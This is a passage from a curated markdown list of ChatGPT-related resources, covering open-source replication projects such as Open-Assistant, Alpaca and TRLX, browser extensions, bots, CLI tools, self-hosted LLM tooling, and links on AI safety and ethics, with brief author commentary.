ChatGPT. - Reverse engineer and replicate ChatGPT models and training data. - Truly open models. 100% non-profit. 100% free. **Ultimate goal:** self-hosted version of ChatGPT. **Lessons** Takeaways from [EleutherAI one year retro (2021)](https://blog.eleuther.ai/year-one/): - Access to enough compute/hardware/GPU alone won't help you succeed. You need: - a proper dataset (beyond the Pile and [c4](https://www.tensorflow.org/datasets/catalog/c4)) - research expertise - engineering capabilities - a lot of hard work <!-- Long version: even if you throw money or free credits for Cloud compute it will not be enough. We've seen this happen with EleutherAI who were not capable of reaching their initial target of "replicating" GPT-3 and could only deliver the GPT-NeoX 20B model despite all the free compute, etc.--> #### Projects - [FLAN-T5 XXL](https://huggingface.co./google/flan-t5-xxl) aka. ChatGPT@Home is a public model that has undergone instruction finetuning. XXL is a 11B model. It is currently the most comparable model against ChatGPT (InstructGPT models are initialized from GPT-3.x series ([model card](https://github.com/openai/following-instructions-human-feedback/blob/main/model-card.md))). There are successful attempts deploying FLAN-T5 on GPU with 24 GB RAM with [bitsandbytes-Int8](https://docs.google.com/document/d/1JxSo4lQgMDBdnd19VBEoaG-mMfQupQ3XvOrgmRAVtpU/edit) inference for Hugging Face models. You can run the model easily on a single machine, without performance degradation. This could be a game changer in enabling people outside of big tech companies being able to use these LLMs. Efforts are already underway to create a better FLAN-T5. The community (i.e., LAION) are working on FlanT5-Atlas architecture and a collection of prompted/instructions datasets. - [Fine-tuning GPT-J-6B in Colab: 8-bit weights with low-rank adaptors (LORA)](https://github.com/huggingface/transformers/issues/14839). ([Quantized EleutherAI/gpt-j-6b model with 8-bit weights](https://huggingface.co./hivemind/gpt-j-6B-8bit)) - How many GPU and how much VRAM is required to run the model? Around 175GB or ~8x 24GB consumer GPUs. Details: [A Gentle Introduction to 8-bit Matrix Multiplication for transformers at scale using Hugging Face Transformers, Accelerate and bitsandbytes](https://huggingface.co./blog/hf-bitsandbytes-integration) - Why FLAN-T5? They are more aligned than other LLM because it's already been finetuned with instructions. Furthermore, the largest version, [11B can run on a single NVIDIA T4](https://www.philschmid.de/deploy-t5-11b). - Accelerating deep learning computing — efficient training, efficient inference (deployment), data/memory efficient models, and compression (efficient architectures). - Apply compression techniques like quantization from my [Awesome ML model compression](https://github.com/cedrickchee/awesome-ml-model-compression#quantization) project. - [Open-Assistant](https://github.com/LAION-AI/Open-Chat-GPT) - Open-source ChatGPT replication by LAION, Yannic Kilcher et al. This project is meant to give everyone access to a great chat based large language model. ([Open Assistant Live Coding with Yannic Kilcher (video)](https://youtu.be/sswA4j_IUxg)) High-level plans: > **Phase 1:** Prompt collection for supervised finetuning (SFT) and to get the prompts for model generated completions/answers. > > **Phase 2:** Human feedback (e.g. ranking) of multiple outputs generated by the model. Example five model outputs are shown and the user should rank them from best to worst. > > **Phase 3:** Optimization with RLHF which we plan to do via TRLX. And then the we iterate with this new model again over phase 2 and phase 3 hopefully multiple times. Models will be trained on Summit supercomputer (~6 million NVIDIA V100 hrs per year) [[source](https://drive.google.com/file/d/1R7OHgW-KOXNia4z5_rBwZj_ecSf6TqzG/view)] More info, see the LAION LLM proposal (Google Doc) above. **Progress:** - Feb 2023: [Joi-20B-instruct](https://huggingface.co./Rallio67/joi_20B_instruct_alpha) is a 20B model fine-tuned on [a diverse set of instruction datasets](https://github.com/Rallio67/language-model-agents) and based on NeoX-20B. _**Unofficial:** This is an early pre-release model (part of development of MVP, phase 1), not directly OpenAssistant (OA) models. They are experiments by the ML team to learn what data, foundation model, methods will work well for OA. As is stated in the website's FAQ, no demo yet. This is for developers to test out early development version of instruction tuning for the model. Maybe first OA models will be derived from these. They have been training good models on a rolling basis as new datasets get completed. There are a variety of model sizes from 1.4B to 20B params available on the HF Hub._ [Chatty-LMS](https://huggingface.co./spaces/HuggingFaceH4/chatty-lms) build by HuggingFace H4 team - A UI for testing Joi-20B-instruct model. You can chat with it. The agent will reply as Joi (the [bot nickname](https://github.com/LAION-AI/Open-Assistant/blob/main/model/model_training/tools/model_chat.py#LL15C56-L15C56)). <!-- I guess the name is loosely inspired by a friendly fictional AI in the movies? --> Example of code snippet to run the model on your own GPUs: https://gist.github.com/cedrickchee/236e53ed2dca95bd96e5baa35cdd7be2 - Mar 2023: They're currently processing the data collected from contributions. The data has over 100k messages, meaning millions of contributions. The quality of the data is beyond what they've ever expected — most of contributions are super high quality. Now, they are exporting the v1 of the dataset. As said, they are currently training the initial batch of models. - 11 Mar 2023: [The Open Instruction Generalist (OIG) dataset](https://laion.ai/blog/oig-dataset/) will be releasing. OIG is a large open source instruction dataset that currently contains ~43M instructions. > OIG is one of many chatbot datasets that LAION, along with its volunteers, Ontocord, Together and other members of the open source community, will be releasing and is intended to create equal access to chatbot technology. Everyone is welcome to use the dataset and contribute improvements to it. The OIG dataset is related to LAION’s Open Assistant project. - 9 Mar 2023: [Open-Assistant SFT-1 12B Model](https://huggingface.co./OpenAssistant/oasst-sft-1-pythia-12b) - Early prototype of English supervised-fine-tuning (SFT) model of the Open-Assistant project. It is based on a Pythia 12B that was fine-tuned on ~22k human demonstrations of assistant conversations collected before March 7, 2023. Although the model is only a development milestone, it's usable for a few creative tasks. Try: [HuggingFace Space (easy and fast, unoffial chatbot UI)](https://huggingface.co./spaces/olivierdehaene/chat-llm-streaming), [Google Collab](https://colab.research.google.com/drive/15u61MVxF4vFtW2N9eCKnNwPvhg018UX7?usp=sharing). Here's a guide on [how to run the model locally on your own computer with a GPU](https://r.nf/r/OpenAssistant/comments/11x0bar/heres_a_guide_on_how_to_run_the_early/). - 23 Mar 2023: This project is starting to shape up nicely. Model is coming along. - Open-Assistant SFT-1 12B model can code. Looks interesting and interesting, if we [compare it against GPT-3.5](https://r.nf/r/OpenAssistant/comments/11yj96g/oasstsft1pythia12b_first_image_vs_gpt_35_second/). - We even have [an unofficial Reddit bot live on `/r/ask_open_assistant`](https://r.nf/r/OpenAssistant/comments/11vrs9u/openassistant_bot_is_live_on_reddit/). [Code](https://github.com/pixiegirl417/reddit-open-assistant-bot) - 15 Apr 2023: OpenAssistant is officially out! The release includes models, datasets, and a chat interface. [[Announcement video](https://www.youtube.com/watch?v=ddG2fM9i4Kk), [Try](https://open-assistant.io/chat), [models](https://huggingface.co./OpenAssistant)] - [OpenAssistant Conversations - Democratizing Large Language Model Alignment (paper)](https://www.ykilcher.com/OA_Paper_2023_04_15.pdf), 2023. - There are different models available including LLaMA-based and Pythia-based ones. - [Conversational dataset (OASST1)](https://huggingface.co./datasets/OpenAssistant/oasst1) released under Apache 2.0. The dataset includes 161,443 messages, 66,497 conversation trees, 35 different languages, and was created by 13,500 volunteers. This dataset release is a big deal. - [Subreddit](https://r.nf/r/OpenAssistant) _Note: Please see the GitHub repo for up-to-date info._ - [CarperAI/TRLX](https://github.com/CarperAI/trlx) - Originated as a fork of [TRL](https://github.com/lvwerra/trl). - It allows you to fine-tune Hugging Face language models (GPT2, GPT-NeoX based) up to 20B parameters using Reinforcement Learning from Human Feedback (RLHF). - Brought to you by CarperAI (an EleutherAI lab). They have [announced plans for the first open-source "instruction-tuned" LM](https://carper.ai/instruct-gpt-announcement/). CarperAI started by developing production ready open-source RLHF tools. [[Tweet and video](https://twitter.com/ZetaVector/status/1604842914835828736)] News (2023-01-13): They replicated OpenAI's _Learning to Summarize_ paper using trlX library. [[report](https://wandb.ai/carperai/summarize_RLHF/reports/Implementing-RLHF-Learning-to-Summarize-with-trlX--VmlldzozMzAwODM2)] - [lucidrains/PaLM-rlhf-pytorch](https://github.com/lucidrains/PaLM-rlhf-pytorch) - (WIP) Implementation of RLHF on top of the PaLM architecture. Basically ChatGPT but with PaLM. The developer plan to add retrieval functionality too, à la RETRO. [[Tweet](https://twitter.com/omarsar0/status/1608143718460055552)] <!-- On 2022-12-29, "First open source ChatGPT has arrived". This is unncessary hype. The released code is just the model, no weights, no datasets used to trained the model, no inference model for deployment, no conversational UI/Web. A lot of things are not ready. This is far from calling it the "first" open source ChatGPT. People are getting ahead of themselves. --> 2023: Something funny in their [FAQ](https://github.com/lucidrains/PaLM-rlhf-pytorch#faq): > There is no trained model. This is just the ship and overall map. We still need millions of dollars of compute + data to sail to the correct point in high dimensional parameter space. Even then, you need professional sailors (like Robin Rombach of Stable Diffusion fame) to actually guide the ship through turbulent times to that point. News (2022-12-31): [There's now an open source alternative to ChatGPT, but good luck running it](https://techcrunch.com/2022/12/30/theres-now-an-open-source-alternative-to-chatgpt-but-good-luck-running-it/) - My comments: No it hasn't. This is NOT an actual trained model (no weights) you can use. This is just code for training a ChatGPT-like model. Furthermore, the training data (enwik8) is small. CarperAI's large scale RLHF-aligned model (TRLX) train with LAION's data is coming out early next year. (Source: [Tweet](https://twitter.com/carperai/status/1608253659628068864?s=20)) - [allenai/RL4LMs](https://github.com/allenai/RL4LMs) - RL for language models (RL4LMs) by Allen AI. It's a modular RL library to fine-tune language models to human preferences. - [GPT-JT](https://www.together.xyz/blog/releasing-v1-of-gpt-jt-powered-by-open-source-ai) by Together Research Computer is an example that distributes model training over geo-distributed of diverse computers (and GPUs). GPT-JT (6B) is a variant forked off EleutherAI's GPT-J, and performs exceptionally well on text classification and other tasks. On classification benchmarks such as RAFT, it comes close to state-of-the-art models that are much larger (e.g., InstructGPT davinci v2)! [[Paper: Decentralized Training of Foundation Models in Heterogeneous Environments (2022)](https://arxiv.org/abs/2206.01288)] - LEAM (Large European AI Models) - The EU planning to fund the development of a large-scale ChatGPT-like model. [[website](https://leam.ai/), [project documents (English, PDF)](https://leam.ai/wp-content/uploads/2022/04/LEAM_Teaser_EN_01.pdf), [concept paper (German, PDF)](https://leam.ai/wp-content/uploads/2022/06/LEAM-Konzeptpapier-V1.2-1.pdf)] - [/r/AiCrowdFund](https://old.reddit.com/r/AiCrowdFund/comments/10a2g6v/lets_create_a_place_where_people_can_find_a_way/) - A place just started (2023) where people can find a way to crowd fund (with GPUs) a large AI. I'm not sure whether they've seen [Petals](https://petals.ml/) where you can run LLMs at home, BitTorrent‑style (federated learning?). It seems to be headed in that direction. - [Open source solution replicates ChatGPT training process](https://www.hpc-ai.tech/blog/colossal-ai-chatgpt) - They presents an open-source low-cost ChatGPT equivalent implementation process, including: - A mini demo training process for users to play around, which requires only 1.62GB of GPU memory and would possibly be achieved on a single consumer-grade GPU, with up to 10.3x growth in model capacity on one GPU. - An open-source complete PyTorch-based ChatGPT equivalent implementation process. - Compared to the original PyTorch, single-machine training process can be 7.73 times faster and single-GPU inference can be 1.42 times faster. - GitHub Repo: https://github.com/hpcaitech/ColossalAI I got the impression that the point of the article was to plug their [Colossal-AI](https://colossalai.org/) framework and product, a collection of parallel components, tools, and hardwares for large models. Frankly, their numbers do look suspicious to me, unless I've missed something. What makes ChatGPT interesting (over GPT-3) is the RLHF process. They do claim to replicate RLHF process completely. But, the article touch lightly about their RLHF implementation. They train RLHF using a small [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts) as example dataset. Their RLHF implementation details are hidden here: https://github.com/hpcaitech/ColossalAI/blob/main/applications/ChatGPT. Lack of demo doesn't inspire too much confidence though. - [FlexGen](https://github.com/Ying1123/FlexGen) - Running LLMs like OPT-175B/GPT-3 on a single GPU (e.g., a 16GB T4 or a 24GB RTX3090 gaming card). Key features: 1) up to 100x faster than other offloading systems. **2) Compress both the parameters and attention cache of models down to 4 bits with negligible accuracy loss.** 3) Distributed pipeline parallelism. They also provide a Python script and instructions that you can [run a chatbot with OPT models](https://github.com/Ying1123/FlexGen#run-chatbot-with-opt-models-on-a-single-gpu). This should solve the challenges of high computational and memory requirements of LLM inference. The chatbot they build with FlexGen and OPT models is not instruction-tuned (RLHF). So this chatbot is not ChatGPT-like though. [[High-throughput Generative Inference of LLMs with a Single GPU (paper)](https://arxiv.org/abs/2303.06865), Stanford et al., 2023] - Runtime breakdown from their paper: - Faster than DeepSpeed offloading (Table 2. Generation throughput on 1 GPU = 1.12 token/s (using 4-bit compression)) - FlexGen achieves super-linear scaling on decoding throughput (which only counts decoding time costs assuming the prefill is done). This means if we generate more tokens, pipeline parallelism will show its benefits as decoding time will dominate. Reviews (from Tweets): - [How does it fair?](https://twitter.com/main_horse/status/1627862771609239552) - [I have been successful in running OPT-66B](https://twitter.com/abacaj/status/1628252688562388995?s=20) - [ChatLLaMA](https://github.com/nebuly-ai/nebullvm/tree/main/apps/accelerate/chatllama) by NebulyAI - LLaMA-based ChatGPT-style **training process** implementation. The code represents the algorithmic implementation for RLHF training process that leverages [LLaMA](https://github.com/facebookresearch/llama/blob/main/MODEL_CARD.md)-based architectures and **does not contain the model weights**. This is NOT a ChatGPT-like product. Their RLHF implementation (actor critic trainer, actor-reward model) was inspired by [lucidrains's PaLM-rlhf-pytorch](https://github.com/lucidrains/PaLM-rlhf-pytorch) implementation. You can also generate your own prompt dataset using LangChain's agents and prompt templates. (_They have removed their misleading ["15x faster training than ChatGPT" claim](https://github.com/nebuly-ai/nebullvm/commit/6c6c24f6e6317fb5214afadd28523e198549f75e). We don't know how fast ChatGPT trained. Many people debate the performance of that repo (based on what?). Another evidence of people talking about things they don't understand about in deep learning. We should stay grounded._) - [Fine-tuning 20B LLMs with RLHF on a 24GB consumer GPU](https://huggingface.co./blog/trl-peft) by HuggingFace - It is now possible using the integration of TRL with PEFT. The blog post explains how they achieve this step by step. The base model is gpt-neox (I was hoping the show fine-tuning LLaMA. I think they can't because of LLaMA licensing restrictions.) - [OpenChatKit by Together Compute](https://www.together.xyz/blog/openchatkit) - Build your own ChatGPT. A powerful, open-source base to create chatbots for various applications. [Try](https://huggingface.co./spaces/togethercomputer/OpenChatKit). Much more than a model release. They are releasing a set of tools and processes for ongoing improvement. OpenChatKit includes 4 key components: - An instruction-tuned LLM, fine-tuned for chat from EleutherAI's GPT-NeoX-20B with over 43M instructions on compute available under Apache-2.0 license on HuggingFace. - A set of customization recipes to fine-tune the model to achieve high accuracy on your tasks documented and available as open-source on [GitHub](https://github.com/togethercomputer/OpenChatKit), along with code to recreate our model results. - An extensible retrieval system enabling you to augment bot responses with information from a document repository, API, or other live-updating information source at inference time, with open-source examples for using Wikipedia or a web search API. - A moderation model, fine-tuned from GPT-JT-6B, designed to filter which questions the bot responds to, also available on HuggingFace. - They collaborated with the tremendous communities at LAION and friends to create the Open Instruction Generalist (OIG) 43M dataset used for these models. - [Alpaca: A Strong Open-Source Instruction-Following Model](https://crfm.stanford.edu/2023/03/13/alpaca.html) by Stanford - Alpaca is a fine-tuned version of LLaMA that can respond to instructions like ChatGPT. Simon Willison wrote about [_Alpaca, and the acceleration of on-device large language model development_](https://simonwillison.net/2023/Mar/13/alpaca/). The team at Stanford just released the [Alpaca training code](https://github.com/tatsu-lab/stanford_alpaca#fine-tuning) for fine-tuning LLaMA with [Hugging Face's transformers library](https://huggingface.co./docs/transformers/main/en/model_doc/llama). ~Also, the [PR implementing LLaMA models](https://github.com/huggingface/transformers/pull/21955) support in Hugging Face was approved yesterday.~ - [Alpaca.cpp](https://github.com/antimatter15/alpaca.cpp) - Locally run an instruction-tuned chat-style LLM. This combines the LLaMA foundation model (llama.cpp) with an [open reproduction (Alpaca-LoRA)](https://github.com/cedrickchee/alpaca-lora) of [Stanford Alpaca](https://github.com/tatsu-lab/stanford_alpaca), a fine-tuning of the base model to obey instructions (akin to the [RLHF](https://huggingface.co./blog/rlhf) used to train ChatGPT). - [Alpaca Native](https://huggingface.co./chavinlo/alpaca-native) model weights - The model was fine-tuned using the original repository: https://github.com/tatsu-lab/stanford_alpaca (no LoRA has been used). [HuggingFace Transformers inference (code and quick start guide)](https://gist.github.com/cedrickchee/3be95c8ab9f38132382737783bd5d55e). - [Train and run Stanford Alpaca on your own machine](https://replicate.com/blog/replicate-alpaca) - The Replicate team have repeated the training process and published a tutorial about how they did it. It cost less than $100. - [Alpaca-LoRA-Serve](https://github.com/deep-diver/Alpaca-LoRA-Serve) - Alpaca-LoRA as a chatbot service. The easiest way to run this project is to use Colab. With the standard GPU instance(T4), you can run 7B and 13B models. With the premium GPU instance (A100 40GB), you can even run 30B model. [[Alpaca-LoRA 30B on A6000 playground](https://notebookse.jarvislabs.ai/BuOu_VbEuUHb09VEVHhfnFq4-PMhBRVCcfHBRCOrq7c4O9GI4dIGoidvNf76UsRL/)] - [ChatLLaMA](https://github.com/basetenlabs/alpaca-7b-truss) by Baseten - A ChatGPT style chatbot for Alpaca-7B, a fine-tuned variant of Llama-7B. [[Demo (web)](https://chatllama.baseten.co/)] - [Cleaned Alpaca Dataset](https://github.com/gururise/AlpacaDataCleaned) - Alpaca dataset from Stanford, cleaned and curated. [[Web demo of Alpaca-LLaMA 13B model finetuned on this dataset](https://lama.nbnl.uk/)] - [Serge - LLaMa made easy](https://github.com/nsarrazin/serge) - A web interface for chatting with Alpaca through llama.cpp. Fully dockerized, with an easy to use API. - [Code Alpaca](https://github.com/sahil280114/codealpaca) - An instruction-following LLaMA Mmdel trained on code generation instructions. - [A list of open alternatives to ChatGPT](https://github.com/nichtdax/awesome-totally-open-chatgpt), group by model and tags (B: bare, M: mildly bare, F: full, C: complicated). - [Hello Dolly: Democratizing the magic of ChatGPT with open models](https://www.databricks.com/blog/2023/03/24/hello-dolly-democratizing-magic-chatgpt-open-models.html) [[Code](https://github.com/databrickslabs/dolly): fine-tuning GPT-J 6B model on the Alpaca dataset] - My thoughts: LLMs could possibly be the first technology that rapidly transforms from a groundbreaking innovation to a widely adopted standard. Within two years, it is anticipated to be an integrated feature in all applications and tools, rather than a distinguishing factor. See [cedrickchee/awesome-transformer-nlp](https://github.com/cedrickchee/awesome-transformer-nlp) for large language models research. ## Browser Extensions Use ChatGPT anywhere. - [Chrome extension to access ChatGPT as a popup on any page](https://github.com/kazuki-sf/ChatGPT_Extension) - [ChatGPT for Google](https://github.com/wong2/chat-gpt-google-extension) - Chrome/Edge/Firefox extension to display ChatGPT response alongside Google Search results. - [ChatGPT Everywhere](https://github.com/gragland/chatgpt-everywhere) - Chrome extension that adds ChatGPT to every text box on the internet. ([demo](https://twitter.com/gabe_ragland/status/1599466486422470656)) - [Chrome extension](https://github.com/kazuki-sf/ChatGPT_Extension) - A really simple Chrome Extension (manifest v3) that you can access OpenAI's ChatGPT from anywhere on the web. - [summarize.site](https://github.com/clmnin/summarize.site) - Chrome extension to summarize blogs and articles using ChatGPT. - [WebChatGPT](https://github.com/qunash/chatgpt-advanced) - ChatGPT with Internet access. A browser extension (Chrome and Firefos) that augments your ChatGPT prompts with relevant search results from the Web. (Remember, ChatGPT cannot access the Web and has limited knowledge of the world after 2021) - [XP1](https://xp1.dust.tt/) - GPT-based Assistant with access to your Tabs. - [ExtractGPT](https://airtable.com/shruPamX8OWa5tqdp) - A browser extension for scraping data from structured & unstructured pages. - [ChatGPT for Twitter](https://chrome.google.com/webstore/detail/chatgpt-for-twitter/ihabhmefjiipbmppmjoleclimdeompdc) - Chrome extension to generate tweets/replies to tweets in different moods and by optionally giving instructions. ## Access ChatGPT From Other Platforms ## Bots - [WhatsApp bot](https://github.com/danielgross/whatsapp-gpt) - [Go Telegram bot](https://github.com/m1guelpf/chatgpt-telegram) - Run your own GPTChat Telegram bot, with a single command. - [Twitter bot](https://github.com/transitive-bullshit/chatgpt-twitter-bot) powered by ChatGPT. - [ChatGPT ProBot](https://github.com/oceanlvr/ChatGPTBot) - A GitHub App. Type `/chatgpt` to chat with ChatGPTBot. - [Discord bot](https://github.com/Zero6992/chatGPT-discord-bot) - Integrate your own Discord bot using chatGPT. ## Tools ### Command-Line Interface (CLI) - [chatgpt-conversation](https://github.com/platelminto/chatgpt-conversation) - Voice-based chatGPT. - [Shell GPT](https://github.com/TheR1D/shell_gpt) - A CLI productivity tool powered by OpenAI's text-davinci-003 model, will help you accomplish your tasks faster and more efficiently. - [AI Files](https://github.com/jjuliano/aifiles) - A CLI that helps you organize and manage your files using GPT-3: auto add tag to the file, auto create directories based on the file content, etc. Be cautious when sharing personal info though. - [Chatblade](https://github.com/npiv/chatblade) - A CLI Swiss Army Knife for ChatGPT. - [:candy:ChatGPT (and GPT4) Wrapper:candy:](https://github.com/mmabrouk/chatgpt-wrapper) - An open-source unofficial **Power CLI**, Python API and Flask API that lets you interact programmatically with ChatGPT/GPT4. ### Editors and IDEs - [VSCode extension](https://github.com/mpociot/chatgpt-vscode) ([demo](https://twitter.com/marcelpociot/status/1599180144551526400)) - [vscode-chatgpt](https://github.com/gencay/vscode-chatgpt) - An unofficial VS Code - ChatGPT extension. - [ETC (ExplainThisCode)](https://github.com/evyatar9/ExplainThisCode) - A VSCode extension that uses the ChatGPT API to provide explanations for selected code. - [Adrenaline](https://github.com/shobrook/adrenaline) - Minimalist IDE that automatically fixes your code when it throws an error, powered by ChatGPT. [[article](https://devpost.com/software/adrenaline-ide)] ### Others - [RayCast Extension (unofficial)](https://github.com/abielzulio/chatgpt-raycast) - Run ChatGPT through Raycast extension. - [Google Docs](https://github.com/cesarhuret/docGPT) - ChatGPT directly within Google Docs as an Editor Add-on. - [Autodoc](https://github.com/context-labs/autodoc) - Toolkit for auto-generating codebase documentation using LLMs. ## Applications Web applications. - [ShareGPT](https://sharegpt.com/) - A web app for sharing your wildest ChatGPT conversations with one click. ([demo](https://twitter.com/steventey/status/1599816553490366464)) - [LearnGPT](https://www.learngpt.com/) - Share ChatGPT examples. See the best voted examples. Their goal is to create a resource for anyone who wants to learn more about ChatGPT. - [ShowGPT](https://showgpt.co/) - Show your ChatGPT prompts. - [The search engine for developers](https://beta.sayhello.so/), powered by large, proprietary AI language models. - [GPTDuck](https://www.gptduck.com/) – Ask questions about any GitHub repo. - [LLM Garden](https://github.com/ianb/llm-garden) - A number of experiments using GPT-3, delivered in a web app. - [Epic Music Quiz](https://epicmusicquiz.com) - A free webapp for creating your own custom Music Video Quiz using youtube videos that can be played solo or multiplayer with friends. Optional AI generation of quiz questions. - [Gerev](https://github.com/GerevAI/gerev) - AI-powered search engine for your organization. Desktop applications. - [ChatGPT desktop app](https://github.com/sonnylazuardi/chatgpt-desktop) - Windows/MacOS desktop menubar app using Tauri and Rust. - [chatgpt-mac](https://github.com/vincelwt/chatgpt-mac): MacOS menubar app. - [ChatGPT Desktop Application](https://github.com/lencx/ChatGPT) for Mac, Windows and Linux - Build using Rust and Tauri. ## Self-hosted Open-Source Models and Tools Open-source models are faster, more customizable, more private, and pound-for-pound more capable. [^9] Self-hosted LLMs are the way forward for enterprise. Run Large Language Models locally on your devices. - [imartinez/privateGPT](https://github.com/imartinez/privateGPT) - Ask questions to your documents without an Internet connection, using the power of LLMs. 100% private, no data leaves your execution environment at any point. You can ingest documents and ask questions. - [StableLM](https://github.com/stability-AI/stableLM/) - Stability AI Language Models. Developers can **freely inspect, use, and adapt StableLM base models for commercial or research purposes**, subject to the terms of the CC BY-SA-4.0 license. - [openlm-research/open_llama](https://github.com/openlm-research/open_llama) - OpenLLaMA, a permissively licensed open source reproduction of Meta AI's LLaMA 7B trained on the RedPajama dataset. - [mlc-ai/MLC-LLM](https://github.com/mlc-ai/mlc-llm) - Enable everyone to develop, optimize and deploy LLaMA, GPT (AI models) natively on consumer-grade GPUs and phones. - [How to run LLaMA 13B with a 6GB graphics card](https://gist.github.com/rain-1/8cc12b4b334052a21af8029aa9c4fafc) - [huggingface/text-generation-inference](https://github.com/huggingface/text-generation-inference) (TGI) - A Rust, Python and gRPC server for text generation inference. Used in production at HuggingFace to power LLMs api-inference widgets. Optimized to run Llama 2 model. If you have a decent GPU and Linux computer, you can run Llama 2 locally without much fuss. - [vllm-project/vllm](https://github.com/vllm-project/vllm) - A high-throughput and memory-efficient inference and serving engine for LLMs. vLLM has up to 3.5x more throughput than HuggingFace Text Generation Inference (TGI). It uses **PagedAttention**, their new attention algorithm that effectively manages attention keys and values. - [OpenNMT/CTranslate2](https://github.com/OpenNMT/CTranslate2) - Fast inference engine for Transformer models. It's a C++ and Python library. (Underrated: faster than TGI and vllm (Jul 2023). Bonus: the easiest to use) - [jmorganca/Ollama](https://github.com/jmorganca/ollama) - A macOS app for Apple Silicon that enables you to get up and run LLMs, locally. Windows & Linux support coming soon. - [A guide to running Llama 2 locally](https://replicate.com/blog/run-llama-locally) by Replicate (2023) - They cover three open-source tools you can use to run Llama 2 on your own devices: Llama.cpp (Mac/Windows/Linux), Ollama (Mac) & MLC LLM (iOS/Android). - [turboderp/exllama](https://github.com/turboderp/exllama) - A more memory-efficient rewrite of the HF transformers implementation of Llama for use with quantized weights. Can run a Llama2-70B with 16K context length, but it's still early days. This is saving gigabytes off the alternatives like llama.cpp. - [nomic-ai/GPT4All](https://github.com/nomic-ai/gpt4all) - An ecosystem to train and deploy powerful and customized large language models that run locally on consumer grade CPUs. A GPT4All model is a 3GB - 8GB file that you can download and plug into the GPT4All. (tips: want to run Llama 2 easily? Download [GGML version of Llama 2 (from "TheBloke")](https://huggingface.co./TheBloke), copy to the models directory in the GPT4All software, launch GPT4All and that's it) - [LocalAI](https://simonwillison.net/2023/May/14/localai/) and [abetlen/llama-cpp-python](https://github.com/abetlen/llama-cpp-python) combo - Self-hosted, community-driven, local OpenAI-compatible API. Drop-in replacement for OpenAI running LLMs on consumer-grade hardware. LocalAI is an API to run ggml compatible models: llama, gpt4all, rwkv, whisper, vicuna, koala, gpt4all-j, cerebras, falcon, dolly, starcoder, and many other. - [Optimizing LLM latency](https://hamel.dev/notes/llm/03_inference.html) (2023) - An exploration of inference tools for open source LLMs focused on latency. **2023 trends** llama2.c ➡️ micro-LLMs (<10B params?) - hackable and efficient, but not at the cost of simplicity, readability, portability. llama.cpp ➡️ inference at the edge, deployment efficiency. Growing interest in local, private micro-LLMs and deploying them in laptops, phones, MCUs, etc. ## Infrastructure - [Cost of ChatGPT](https://twitter.com/tomgoldsteincs/status/1600196981955100694) - Average cost is probably single-digits cents per chat. ## Newsletters - [Newsletter of notes focusing on text generation, mostly with GPT-3](https://github.com/sw-yx/ai-notes/blob/main/TEXT.md) - [Ben's Bites - the AI newsletter](https://www.bensbites.co/p/looking-back-llms) - Looking back on LLMs. ## AI Safety and Ethics AI alignment and AI interpretability. - [Use of ChatGPT generated text for posts on Stack Overflow is temporarily banned](http://archive.today/bMruL) - [Generative AI: autocomplete for everything](https://noahpinion.substack.com/p/generative-ai-autocomplete-for-everything) — A long-form piece on the future of human work in the age of generative AI. tl;dr: AI doesn't take over jobs, it takes over tasks. [Comparative advantage](https://en.wikipedia.org/wiki/Comparative_advantage) is why humans will still have jobs. ### AGI and Humanity - [AI for the Next Era](https://greylock.com/greymatter/sam-altman-ai-for-the-next-era/) - OpenAI's Sam Altman on the New Frontiers of AI. My comments: Reading this after the ChatGPT launch, mostly all the things that Sam is referring to in the interview contains reminiscences about predictions on AI and development from Ray Kurzweil. - [Google won't launch ChatGPT rival because of 'reputational risk'](https://www.theverge.com/2022/12/14/23508756/google-vs-chatgpt-ai-replace-search-reputational-risk) - [AI Alignment Forum](https://www.alignmentforum.org/) is a single online hub for researchers to discuss all ideas related to ensuring that transformatively powerful AIs are aligned with human values. Discussion ranges from technical models of agency to the strategic landscape, and everything in between. - [The Expanding Dark Forest and Generative AI](https://maggieappleton.com/ai-dark-forest) by Maggie Appleton - Proving you're a human on a web flooded with generative AI content. - [How should AI systems behave, and who should decide?](https://openai.com/blog/how-should-ai-systems-behave/) by OpenAI. - [Planning for AGI and beyond](https://openai.com/blog/planning-for-agi-and-beyond/) by OpenAI (2023) - <!-- AGI roadmap --> TL;DR: - Short term: - They are becoming increasingly cautious with the creation and deployment of their models. - They will need to develop new alignment techniques as models become more powerful. - Long term: - The first AGI will be just a point along the continuum of intelligence. - AI that accelerates science is a special case because it's possible AGI capable enough to accelerate its own progress and therefore expand the capability exponentially. If you care about how AGI will impact us all, you should read this. - [Software Complexity Is Why AI Won't Replace Software Engineers](https://softwarecomplexity.com/why-ai-wont-replace-software-engineers) - [Copyright Registration Guidance: Works Containing Material Generated by AI](https://www.federalregister.gov/documents/2023/03/16/2023-05321/copyright-registration-guidance-works-containing-material-generated-by-artificial-intelligence) - [GPT-4 and the Uncharted Territories of Language](https://www.fast.ai/posts/2023-03-20-wittgenstein.html) by fast.ai - Language is a source of limitation and liberation. GPT-4 pushes this idea to the extreme by giving us access to unlimited language. - [OK, it's time to freak out about AI](https://nonzero.substack.com/p/ok-its-time-to-freak-out-about-ai) - [Post-GPT Computing](https://grady.io/post-gpt-computing/) > I couldn’t keep working. I had to leave the office and go for a walk. Is software engineering basically a solved problem now? Did OpenAI just make the last application? This all sounds hyperbolic and melodramatic when I write it out, but I’m not the only one who felt something like this. Twitter showed me I wasn't alone: "Existential crisis. Did OpenAI just finish software? What's there left to do but clean-up and sweep?" - [Is Avoiding Extinction from AI Really an Urgent Priority?](https://www.aisnakeoil.com/p/is-avoiding-extinction-from-ai-really) by Seth Lazar, Jeremy Howard, and Arvind Narayanan - The history of technology suggests that the greatest risks come not from the tech, but from the people who control it. - [AI Safety and the Age of Dislightenment](https://www.fast.ai/posts/2023-11-07-dislightenment.html) by Jeremy Howard, fast.ai - Model licensing & surveillance will likely be counterproductive by concentrating power in unsustainable ways. - [The Leverage of LLMs for Individuals](https://mazzzystar.github.io/2023/05/10/LLM-for-individual/) > it gives me the courage to dream and attempt things beyond my current abilities. ### Tweets > ChatGPT is incredibly limited, but good enough at some things to create a misleading impression of greatness. > > It's a mistake to be relying on it for anything important right now. It's a preview of progress; we have lots of work to do on robustness and truthfulness. > > fun creative inspiration; great! reliance for factual queries; not such a good idea. — [Sam Altman, OpenAI](https://twitter.com/sama/status/1601731295792414720) [News covering to that Tweet](https://venturebeat.com/ai/openai-ceo-admits-chatgpt-risks-what-now-the-ai-beat/). John Carmack answering questions about 